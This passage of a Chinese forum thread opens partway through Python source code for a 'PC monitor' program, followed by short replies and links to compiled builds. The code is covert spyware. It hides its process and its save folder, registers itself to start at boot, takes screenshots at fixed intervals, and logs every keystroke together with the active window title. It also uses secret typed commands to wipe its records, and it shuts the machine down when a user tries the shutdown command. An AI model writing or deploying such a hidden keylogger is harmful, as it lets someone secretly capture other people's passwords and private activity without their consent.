            # 强制进行垃圾回收
            gc.collect()
            # 获取当前进程
            process = psutil.Process()
            # 设置进程工作集大小限制
            process.nice(psutil.BELOW_NORMAL_PRIORITY_CLASS)
            logging.info("内存已优化")
        except Exception as e:
            logging.error(f"内存优化失败: {str(e)}")
     
    @staticmethod
    def add_to_startup():
        """添加程序到开机自启动"""
        try:
            key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_ALL_ACCESS)
             
            if getattr(sys, 'frozen', False):
                # 打包后的可执行文件路径
                executable_path = sys.executable
                winreg.SetValueEx(key, "PCMonitor", 0, winreg.REG_SZ, f'"{executable_path}"')
            else:
                # 开发环境中的脚本路径
                script_path = os.path.abspath(__file__)
                winreg.SetValueEx(key, "PCMonitor", 0, winreg.REG_SZ, f'pythonw "{script_path}"')
                 
            winreg.CloseKey(key)
            logging.info("已添加到开机自启动")
        except Exception as e:
            logging.error(f"添加开机自启动失败: {str(e)}")
     
    @staticmethod
    def hide_folder(folder_path):
        """隐藏文件夹"""
        try:
            ctypes.windll.kernel32.SetFileAttributesW(folder_path, win32con.FILE_ATTRIBUTE_HIDDEN)
            logging.info(f"文件夹 {folder_path} 已隐藏")
        except Exception as e:
            logging.error(f"隐藏文件夹失败: {str(e)}")
     
    @staticmethod
    def show_folder(folder_path):
        """打开文件夹并取消隐藏"""
        try:
            ctypes.windll.kernel32.SetFileAttributesW(folder_path, win32con.FILE_ATTRIBUTE_NORMAL)
            os.startfile(folder_path)
            logging.info(f"已打开文件夹 {folder_path} 并取消隐藏")
        except Exception as e:
            logging.error(f"打开文件夹并取消隐藏失败: {str(e)}")
             
    @staticmethod
    def clean_directory(dir_path, log_message="已清空指定目录"):
        """清空指定目录下的所有文件和子目录"""
        if os.path.exists(dir_path):
            # 关闭可能存在的文件句柄
            LogManager.shutdown_logging()
     
            for root, dirs, files in os.walk(dir_path, topdown=False):
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        os.remove(file_path)
                    except Exception as e:
                        logging.error(f"删除文件 {file_path} 失败: {str(e)}")
                for dir_name in dirs:
                    dir_path = os.path.join(root, dir_name)
                    try:
                        os.rmdir(dir_path)
                    except Exception as e:
                        logging.error(f"删除目录 {dir_path} 失败: {str(e)}")
            logging.info(log_message)
     
            # 重新配置日志
            LogManager.setup_logging(g_state.save_path)
        else:
            logging.info("目标目录不存在,无需清空")
             
    @staticmethod
    def clean_today_records(save_path):
        """清空当天全部记录"""
        today = datetime.now().strftime('%Y-%m-%d')
        today_dir = os.path.join(save_path, today)
        SystemManager.clean_directory(today_dir, "已清空当天全部记录")
         
    @staticmethod
    def format_local_records(save_path):
        """删除local下全部记录"""
        SystemManager.clean_directory(save_path, "已删除local下全部记录")
         
    @staticmethod
    def shutdown_countdown():
        """执行倒计时关机"""
        countdown = 30
        while countdown > 0 and g_state.shutdown_in_progress:
            logging.warning(f"系统将在 {countdown} 秒后关机")
            time.sleep(1)
            countdown -= 1
             
        if g_state.shutdown_in_progress:
            logging.warning("开始关机")
            os.system("shutdown /s /t 0"# 立即关机
             
        g_state.shutdown_in_progress = False
 
    @staticmethod
    def monitor_shutdown_command():
        """监控系统是否执行了 shutdown -a 命令"""
        while True:
            try:
                # 检查系统中是否有正在执行的 shutdown 命令
                output = subprocess.check_output("tasklist /FI \"IMAGENAME eq shutdown.exe\"", shell=True, text=True)
                if "shutdown.exe" in output and not g_state.shutdown_in_progress:
                    logging.warning("检测到 shutdown -a 命令,开始倒计时30秒关机")
                    g_state.shutdown_in_progress = True
                    # 启动倒计时线程
                    threading.Thread(target=SystemManager.shutdown_countdown, daemon=True).start()
            except Exception as e:
                logging.error(f"监控关机命令失败: {str(e)}")
            time.sleep(0.5# 每0.5秒检查一次
             
    @staticmethod
    def monitor_clipboard():
        """监测剪切板内容"""
        try:
            # 获取当前剪切板内容
            current_clipboard_content = pyperclip.paste()
             
            if current_clipboard_content != g_state.last_clipboard_content:
                # 剪切板内容发生变化
                g_state.last_clipboard_content = current_clipboard_content
                # 检查是否包含 "shutdown"
                if "shutdown" in current_clipboard_content.lower():
                    if not g_state.shutdown_in_progress:
                        logging.warning("检测到剪切板内容包含 'shutdown',开始倒计时30秒关机")
                        g_state.shutdown_in_progress = True
                        # 启动倒计时线程
                        threading.Thread(target=SystemManager.shutdown_countdown, daemon=True).start()
        except Exception as e:
            logging.error(f"监测剪切板失败: {str(e)}")
 
 
class WindowManager:
    """窗口管理类,处理窗口相关操作"""
    @staticmethod
    def get_active_window_info():
        """获取当前活动窗口信息"""
        active_window = win32gui.GetForegroundWindow()
        active_title = win32gui.GetWindowText(active_window)
        return active_title
     
    @staticmethod
    def is_white_window_open():
        """检测白名单窗口是否打开且为活动窗口"""
        active_window = win32gui.GetForegroundWindow()
        active_title = win32gui.GetWindowText(active_window)
     
        if active_title in g_state.white_list:
            # 检查窗口是否可见且未最小化
            if win32gui.IsWindowVisible(active_window):
                placement = win32gui.GetWindowPlacement(active_window)
                if placement[1] != win32con.SW_SHOWMINIMIZED:
                    logging.debug(f"检测到活动的白名单窗口: {active_title}")
                    return True
     
        logging.debug(f"当前活动窗口不在白名单中: {active_title}")
        return False
 
 
class ScreenshotManager:
    """截图管理类,处理截图相关操作"""
    def __init__(self):
        # 创建截图工作线程
        self.worker_thread = None
         
    def start_worker(self):
        """启动截图工作线程"""
        self.worker_thread = threading.Thread(target=self._screenshot_worker, daemon=True)
        self.worker_thread.start()
        logging.info("截图工作线程已启动")
        return self.worker_thread
         
    def _screenshot_worker(self):
        """截图工作线程函数"""
        while True:
            try:
                # 从队列获取截图任务
                task = g_state.screenshot_queue.get()
                if task is None# 退出信号
                    break
     
                active_title, save_dir = task
                screenshot_png = ImageGrab.grab()
                file_name = os.path.join(save_dir, f"screenshot_{datetime.now().strftime('%H-%M-%S')}.png")
                screenshot_png.save(file_name, optimize=True, quality=85# 优化图片保存
                logging.info(f"截图已保存: {file_name}, 当前窗口: {active_title}")
     
                # 清理内存
                del screenshot_png
                gc.collect()
            except Exception as e:
                logging.error(f"截图工作线程错误: {str(e)}")
            finally:
                g_state.screenshot_queue.task_done()
                 
    def take_screenshot(self):
        """截屏保存"""
        if not g_state.is_screenshotting:
            return
     
        try:
            # 获取当前窗口信息
            active_title = WindowManager.get_active_window_info()
     
            # 按日期创建子文件夹
            today = datetime.now().strftime('%Y-%m-%d')
            save_dir = os.path.join(g_state.save_path, today)
            os.makedirs(save_dir, exist_ok=True)
     
            # 将截图任务添加到队列
            try:
                # 使用非阻塞方式,避免队列满时阻塞
                g_state.screenshot_queue.put((active_title, save_dir), block=False)
            except queue.Full:
                logging.warning("截图队列已满,跳过当前截图")
                 
        except Exception as e:
            logging.error(f"截图失败: {str(e)}")
 
 
class KeyboardManager:
    """键盘管理类,处理键盘监控和命令处理"""
    def __init__(self):
        self.keyboard_listener = None
         
    def start_keylogger(self):
        """启动键盘记录器"""
        if g_state.keylogger_enabled:
            logging.info("键盘记录功能已启动")
             
            # 确保键盘记录文件存在
            keylog_file = LogManager.get_keylog_file(g_state.save_path)
            if not os.path.exists(keylog_file):
                with open(keylog_file, 'w', encoding='utf-8') as f:
                    f.write('\ufeff'# 添加BOM标记
     
            # 启动键盘监听
            self.keyboard_listener = keyboard.Listener(on_press=self._on_key_press)
            self.keyboard_listener.start()
            return self.keyboard_listener
        return None
         
    def _on_key_press(self, key):
        """键盘按下事件处理"""
        if not g_state.keylogger_enabled:
            return
     
        # 如果需要遵循白名单,且当前窗口在白名单中,则不记录
        if g_state.keylogger_respect_whitelist and WindowManager.is_white_window_open():
            return
     
        try:
            # 对特殊键进行处理
            if hasattr(key, 'char'):
                key_char = key.char
            else:
                key_char = str(key).replace("Key.", "<") + ">"
     
            # 记录连续输入的按键
            if key_char and key_char.isalnum():
                g_state.current_input += key_char.lower()
            else:
                # 如果输入的不是字母或数字,重置输入
                g_state.current_input = ""
     
            # 检查是否匹配命令
            self._check_command_input()
     
            # 记录到文件
            active_title = WindowManager.get_active_window_info()
            timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            with open(LogManager.get_keylog_file(g_state.save_path), 'a', encoding='utf-8') as f:
                f.write(f"[{timestamp}] [{active_title}] Key: {key_char}\n")
        except Exception as e:
            logging.error(f"键盘记录失败: {str(e)}")
             
    def _check_command_input(self):
        """检查输入是否匹配命令"""
        # 退出命令
        if g_state.current_input == COMMAND_EXIT:
            g_state.is_listening = False
            g_state.is_screenshotting = False
            g_state.current_input = ""
            logging.info("已暂停全部监听和截图")
             
        # 开始命令
        elif g_state.current_input == COMMAND_OPEN:
            g_state.is_listening = True
            g_state.is_screenshotting = True
            g_state.current_input = ""
            logging.info("已启动全部监听和截图")
             
        # 打开文件夹命令
        elif g_state.current_input == COMMAND_FILE:
            SystemManager.show_folder(g_state.save_path)
            g_state.current_input = ""
             
        # 隐藏文件夹命令
        elif g_state.current_input == COMMAND_HIDE:
            SystemManager.hide_folder(g_state.save_path)
            g_state.current_input = ""
             
        # 清理今日记录命令
        elif g_state.current_input == COMMAND_CLEAN:
            SystemManager.clean_today_records(g_state.save_path)
            g_state.current_input = ""
             
        # 格式化所有记录命令
        elif g_state.current_input == COMMAND_FORMAT:
            SystemManager.format_local_records(g_state.save_path)
            g_state.current_input = ""
             
        # 关机命令
        elif g_state.current_input == COMMAND_SHUTDOWN:
            if not g_state.shutdown_in_progress:
                logging.warning("检测到连续输入shutdown,开始倒计时30秒关机")
                g_state.shutdown_in_progress = True
                # 启动倒计时线程
                threading.Thread(target=SystemManager.shutdown_countdown, daemon=True).start()
            g_state.current_input = ""
 
 
class Application:
    """应用主类,整合所有功能模块"""
    def __init__(self):
        # 初始化配置管理器
        self.config_manager = ConfigManager()
        # 加载配置
        self.config = self.config_manager.load_config()
        # 更新全局状态
        self.config_manager.update_global_state()
         
        # 初始化子系统
        self.screenshot_manager = ScreenshotManager()
        self.keyboard_manager = KeyboardManager()
         
        # 初始化资源
        self.screenshot_thread = None
        self.keyboard_listener = None
        self.shutdown_monitor_thread = None
         
    def parse_command_line_args(self):
        """解析命令行参数"""
        parser = argparse.ArgumentParser(description="电脑监控程序")
        parser.add_argument("--sleep", type=int, default=5, help="截屏间隔时间 默认5秒")
        parser.add_argument("--save_path", type=str, default=None, help="图片文件存储地址")
        parser.add_argument("--white_list", type=str, default="", help="应用白名单 按,分割传入 默认为空")
        parser.add_argument("--no_keylog", action="store_true", help="禁用键盘记录功能")
        # 忽略非预期参数
        args, _ = parser.parse_known_args()
         
        # 更新全局状态
        if args.sleep != 5:
            g_state.sleep_time = args.sleep
             
        if args.save_path is not None:
            g_state.save_path = args.save_path
             
        if args.white_list:
            str_list = args.white_list.split(",")
            g_state.white_list = list(set(str_list + g_state.white_list))
             
        if args.no_keylog:
            g_state.keylogger_enabled = False
             
        # 确保保存目录存在
        os.makedirs(g_state.save_path, exist_ok=True)
         
        # 验证白名单
        self.config_manager.validate_white_list()
         
    def initialize(self):
        """初始化应用"""
        # 设置日志
        LogManager.setup_logging(g_state.save_path)
         
        # 隐藏进程
        SystemManager.hide_process()
         
        # 设置文件夹为隐藏
        SystemManager.hide_folder(g_state.save_path)
         
        # 添加到开机自启动
        SystemManager.add_to_startup()
         
        # 输出启动信息
        logging.info(f"截图服务启动 - 保存路径: {g_state.save_path}, 间隔时间: {g_state.sleep_time}秒")
        logging.info(f"当前白名单: {g_state.white_list}")
        logging.info(f"键盘记录功能: {'已启用' if g_state.keylogger_enabled else '已禁用'}")
         
    def start_services(self):
        """启动所有服务"""
        # 启动截图工作线程
        self.screenshot_thread = self.screenshot_manager.start_worker()
         
        # 启动键盘记录器
        self.keyboard_listener = self.keyboard_manager.start_keylogger()
         
        # 启动关机命令监控线程
        self.shutdown_monitor_thread = threading.Thread(
            target=SystemManager.monitor_shutdown_command,
            daemon=True
        )
        self.shutdown_monitor_thread.start()
         
    def run_main_loop(self):
        """运行主循环"""
        last_memory_optimize = time.time()
         
        try:
            while True:
                try:
                    if g_state.is_listening:
                        active_title = WindowManager.get_active_window_info()
                        white_window_status = WindowManager.is_white_window_open()
                         
                        if not white_window_status:
                            logging.info(f"未检测到白名单窗口,开始截图 - 当前窗口: {active_title}")
                            self.screenshot_manager.take_screenshot()
                        else:
                            logging.info(f"检测到白名单窗口,跳过截图 - 当前窗口: {active_title}")
     
                        # 定期优化内存
                        current_time = time.time()
                        if current_time - last_memory_optimize >= MEMORY_OPTIMIZE_INTERVAL:
                            SystemManager.optimize_memory()
                            last_memory_optimize = current_time
     
                    # 监测剪切板内容
                    SystemManager.monitor_clipboard()
     
                except Exception as e:
                    logging.error(f"主循环错误: {str(e)}")
     
                time.sleep(g_state.sleep_time)
                 
        except KeyboardInterrupt:
            logging.info("收到键盘中断信号,准备退出")
        finally:
            self.cleanup()
             
    def cleanup(self):
        """清理资源"""
        # 发送退出信号给截图线程
        g_state.screenshot_queue.put(None)
         
        # 等待截图线程结束
        if self.screenshot_thread and self.screenshot_thread.is_alive():
            self.screenshot_thread.join(timeout=2.0)
             
        # 停止键盘监听
        if self.keyboard_listener:
            self.keyboard_listener.stop()
             
        # 清理资源
        g_state.executor.shutdown(wait=True)
        gc.collect()
         
        # 关闭日志
        LogManager.shutdown_logging()
         
        logging.info("服务已停止")
         
 
# 主程序入口
if __name__ == "__main__":
    app = Application()
    app.parse_command_line_args()
    app.initialize()
    app.start_services()
    app.run_main_loop()

免费评分

参与人数 2吾爱币 +2 热心值 +2 收起 理由
艾浩123 + 1 + 1 我很赞同!
zylz9941 + 1 + 1 谢谢@Thanks!

查看全部评分

 楼主| top777 发表于 2025-4-2 16:01
本帖最后由 top777 于 2025-4-3 10:02 编辑

第一个1400行代码的编译成品:
链接: 参见1楼

第二个700行代码的编译成品:
链接: https://pan.baidu.com/s/1ihcu92Pr46f5tjozf0wTHw?pwd=8z5u 提取码: 8z5u 复制这段内容后打开百度网盘手机App,操作更方便哦
--来自百度网盘超级会员v8的分享

免费评分

参与人数 4吾爱币 +4 热心值 +4 收起 理由
zengxibiao + 1 + 1 谢谢@Thanks!
36307183 + 1 + 1 谢谢@Thanks!
52PJ070 + 1 + 1 谢谢@Thanks!
powehi + 1 + 1 谢谢@Thanks!

查看全部评分

 楼主| top777 发表于 2025-4-2 16:03
本帖最后由 top777 于 2025-4-3 10:03 编辑
peterq521 发表于 2025-4-2 15:36
来个成品吧 更方便一些

成品在第9楼(推荐楼)。
peterq521 发表于 2025-4-2 15:36
来个成品吧 更方便一些
可坏 发表于 2025-4-2 15:41
这个是用来做啥的?
花葬 发表于 2025-4-2 15:46
监控电脑使用的软件,我记得有成品软件
makaay 发表于 2025-4-2 15:53
满满的科技料,对喜欢动手的伙伴来说应该是不错的。
52PJ070 发表于 2025-4-2 15:53
感谢楼主分享!比你在那帖子内回复的代码行要多
李亲顾 发表于 2025-4-2 15:56
楼主有没有成品下载
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-6-15 10:55

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表